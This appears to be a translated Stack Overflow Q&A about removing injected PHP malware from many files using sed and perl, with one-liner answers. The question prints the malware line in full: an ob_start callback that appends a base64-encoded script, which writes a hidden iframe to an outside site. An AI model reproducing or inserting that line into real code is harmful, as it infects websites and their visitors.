【问题标题】:How to delete lines while preserving certain characters via sed/perl?如何在通过 sed/perl 保留某些字符的同时删除行?
【发布时间】:2012-10-14 00:57:27
【问题描述】:

我正在尝试对所有 .php 文件进行大规模搜索并替换以下字符串以进行恶意软件清理:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

我可以通过sed '/buffer.base64_decode/d' file.php 删除整行。不过我还是需要开&lt;?php

所以真正需要做的是用&lt;?php 搜索和替换buffer.base64_decode,在这台邪恶的电脑前度过漫长的一天后,我的大脑全是土豆泥。

或者,也许我认为自己进入了一个小盒子,而这一切都错了?

【问题讨论】:

  • 如果同一行没有结束 ?> 标记,删除

标签: regex linux perl sed replace


【解决方案1】:

perl -pe 's/&lt;\?php ob_start\("security_update"\);.*?\?&gt;//gsm; s/&lt;\?php ob_start\("security_update"\);.*/&lt;?php/g;' test.php

【讨论】:

  • 谢谢,这会让我更接近。但这让我无法在每个所需文件的开头打开&lt;?php。所以我真正需要做的是搜索上面的内容并将其替换为&lt;?php
  • 是的,意外删除的内容超出了我的意思。如果没有结尾 '?>' 标记,我更新了答案以保留在 '
【解决方案2】:

不是删除那行,你不只是更改吗?下面是如何使用GNU sed

sed -i '/buffer.base64_decode/c \<?php ' file.php

现在对于您工作目录中的所有文件:

find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2019-06-21
    • 2020-06-30
    • 2019-04-28
    • 1970-01-01
    • 1970-01-01
    • 2014-09-19
    • 2019-06-10
    • 2014-12-26
    相关资源
    最近更新 更多